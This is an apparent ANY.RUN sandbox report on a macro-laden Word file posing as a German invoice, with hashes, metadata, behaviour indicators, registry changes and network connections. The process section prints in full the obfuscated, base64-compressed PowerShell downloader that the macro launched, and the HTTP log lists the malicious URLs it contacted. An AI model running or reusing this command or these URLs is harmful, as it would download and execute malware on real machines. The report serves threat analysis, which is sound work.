Malware analysis Rechnung-FCU91494556.doc Malicious activity

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File name:	Rechnung-FCU91494556.doc
Full analysis:	https://app.any.run/tasks/03c3453a-3488-4adb-82cb-10c424c2ce77
Verdict:	Malicious activity
Analysis date:	March 14, 2019, 17:42:52
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Ikirod-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jul 11 12:07:00 2018, Last Saved Time/Date: Wed Jul 11 12:07:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0, Title: 11260Ik71295, Subject: 74965Ik9537
MD5:	F212304055F1BC6F52AF93D112471483
SHA1:	117AC1CBB36AC971F1EF9F2E1953B61B8A190F91
SHA256:	E571E2DDE219F648861718EEAE29F73707447FD4B7EF8C8D1DBE0A82C458DCEA
SSDEEP:	6144:jFVeEsjdXRC3jexGG6fYWofNCHds/+Nk9H05wOmyvXR5:jFVeEwdXET0i8NCHds/+C058yvXb

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2744)
- Request from PowerShell which ran from Office
  - powershell.exe (PID: 3864)
- Changes settings of System certificates
  - powershell.exe (PID: 3864)
- Executes PowerShell scripts
  - WINWORD.EXE (PID: 2744)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 3864)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2744)
- Creates files in the user directory
  - WINWORD.EXE (PID: 2744)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Author:	Ikirod-PC
Template:	Normal.dotm
LastModifiedBy:	-
RevisionNumber:	1
Software:	Microsoft Office Word
TotalEditTime:	-
CreateDate:	2018:07:11 11:07:00
ModifyDate:	2018:07:11 11:07:00
Pages:	1
Words:	-
Characters:	1
Security:	None
Title:	11260Ik71295
Subject:	74965Ik9537
CodePage:	Windows Latin 1 (Western European)
Company:	31757Ik8724
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	1
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	-
HeadingPairs:	Title 1
Category:	14680Ik92832
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Word 97-2003 Document

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2744

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rechnung-FCU91494556.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\gdi32.dll

3864

powershell (NEw-OBjEct SySTEm.IO.comPreSSioN.DEFLaTeStrEaM( [SystEM.iO.MEmoryStReam] [COnvErT]::fROmBASe64STRINg( 'VZBda8IwFIb/Si8CUZwJ+0CYoSBz7AO26SYoG7tJ4plNlyY1PTOzxf8+26t5cy7e9+GB95CPpzp1EIde5aAxeQFkK1BTa8ChIO8P85RmiOWY8xgjk5tcVsyHDS/45H9u0TgVvKuZ9gXDwG+m1cyfMFAoqaVtAT4fyYvzx+eTHoPcgf1B4x0za65VeZ9drk6Qwitju7OXRSdavuZ2uV0ip2xRWoM9OqF9QWaLmKQJHV1fUUHe6pgScLsxQlEO6CcdtP2AMvgFKr58AKmzHtnGPDEuaTf3Gwz7hhx/w259dNbL9Z2x0DFnSSvsiwXKgMN58BqqqsuEOpq+xUFL1FlzOPwB' ), [iO.compRESsIon.COMPResSIONmoDe]::DeComPRESS) | FoREaCh-oBJecT{NEw-OBjEct IO.sTReaMReAder($_ , [texT.Encoding]::asCii )} ).reaDtoEND( ) |InVoke-EXPreSsion

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

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Total events

1 290

Read events

887

Write events

398

Delete events

Modification events


(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	+!$
Value: 2B212400B80A0000010000000000000000000000
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1315831838
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1315831952
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1315831953
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: B80A00009687206F8DDAD40100000000
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	""$
Value: 22222400B80A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	""$
Value: 22222400B80A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2744) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2744	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRC50B.tmp.cvr		—
		MD5:—	SHA256:—
3864	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NGWS405BYI0ABMFLKGWX.temp		—
		MD5:—	SHA256:—
2744	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$chnung-FCU91494556.doc		pgc
		MD5:—	SHA256:—
2744	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3864	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
3864	powershell.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\74FBF93595CFC8459196065CE54AD928		binary
		MD5:—	SHA256:—
3864	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19d1ae.TMP		binary
		MD5:—	SHA256:—
3864	powershell.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\74FBF93595CFC8459196065CE54AD928		der
		MD5:1EDAF9AE99CE2920667D0E9A8B3F8C9C	SHA256:4F32D5DC00F715250ABCC486511E37F501A899DEB3BF7EA8ADBBD3AEF1C412DA

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3864	powershell.exe	GET	—	159.89.197.57:80	http://www.agjas.org/m/	US	—	—	suspicious
3864	powershell.exe	GET	—	159.89.197.57:80	http://www.agjas.org/m/	US	—	—	suspicious
3864	powershell.exe	GET	404	185.171.90.34:80	http://www.mobilmobilyam.com/VQjlVqVt/	TR	html	29.1 Kb	suspicious
3864	powershell.exe	GET	301	82.223.15.184:80	http://www.embacal.com/P6a21IM/	ES	—	—	suspicious
3864	powershell.exe	GET	301	176.31.100.201:80	http://www.altinbronz.com.tr/BCsOo/	FR	html	331 b	malicious
3864	powershell.exe	GET	200	91.199.212.52:80	http://crt.comodoca.com/COMODORSAAddTrustCA.crt	GB	der	1.37 Kb	whitelisted
3864	powershell.exe	GET	404	82.223.15.184:80	http://embacal.com/P6a21IM/	ES	html	19.4 Kb	suspicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3864	powershell.exe	159.89.197.57:80	www.agjas.org	—	US	suspicious
3864	powershell.exe	176.31.100.201:80	www.altinbronz.com.tr	OVH SAS	FR	suspicious
3864	powershell.exe	176.31.100.201:443	www.altinbronz.com.tr	OVH SAS	FR	suspicious
3864	powershell.exe	82.223.15.184:80	www.embacal.com	1&1 Internet SE	ES	suspicious
3864	powershell.exe	91.199.212.52:80	crt.comodoca.com	Comodo CA Ltd	GB	suspicious
3864	powershell.exe	185.171.90.34:80	www.mobilmobilyam.com	Dgn Teknoloji A.s.	TR	suspicious

DNS requests

Domain	IP	Reputation
www.agjas.org	159.89.197.57	unknown
www.altinbronz.com.tr	176.31.100.201	malicious
crt.comodoca.com	91.199.212.52	whitelisted
www.embacal.com	82.223.15.184	suspicious
embacal.com	82.223.15.184	suspicious
www.travelution.id	—	suspicious
www.mobilmobilyam.com	185.171.90.34	suspicious

Threats

No threats detected

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No debug info

General Info

Rechnung-FCU91494556.doc

F212304055F1BC6F52AF93D112471483

117AC1CBB36AC971F1EF9F2E1953B61B8A190F91

E571E2DDE219F648861718EEAE29F73707447FD4B7EF8C8D1DBE0A82C458DCEA

6144:jFVeEsjdXRC3jexGG6fYWofNCHds/+Nk9H05wOmyvXR5:jFVeEwdXET0i8NCHds/+C058yvXb

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Request from PowerShell which ran from Office

Changes settings of System certificates

Executes PowerShell scripts

SUSPICIOUS

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings